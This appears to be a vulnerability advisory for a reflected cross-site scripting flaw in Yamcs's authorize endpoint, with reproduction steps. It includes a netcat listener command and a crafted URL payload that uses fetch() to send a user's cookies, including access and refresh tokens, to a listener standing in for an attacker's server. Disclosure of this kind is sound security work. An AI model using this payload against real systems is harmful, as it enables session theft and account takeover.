Yamcs has Reflected XSS in the URL of the Authorize Endpoint

### Attack type: Unauthenticated remote

### Impact: Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

You then use JavaScript to obtain the user's cookies and display them in the alert:

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to

Reproduce 1. Start Yamcs 2. Login as a user 3. In a terminal, start a netcat listener:

nc -nlvp 8888

1. Paste the following URL payload in the browser

http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y">fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou

1. You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements

This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.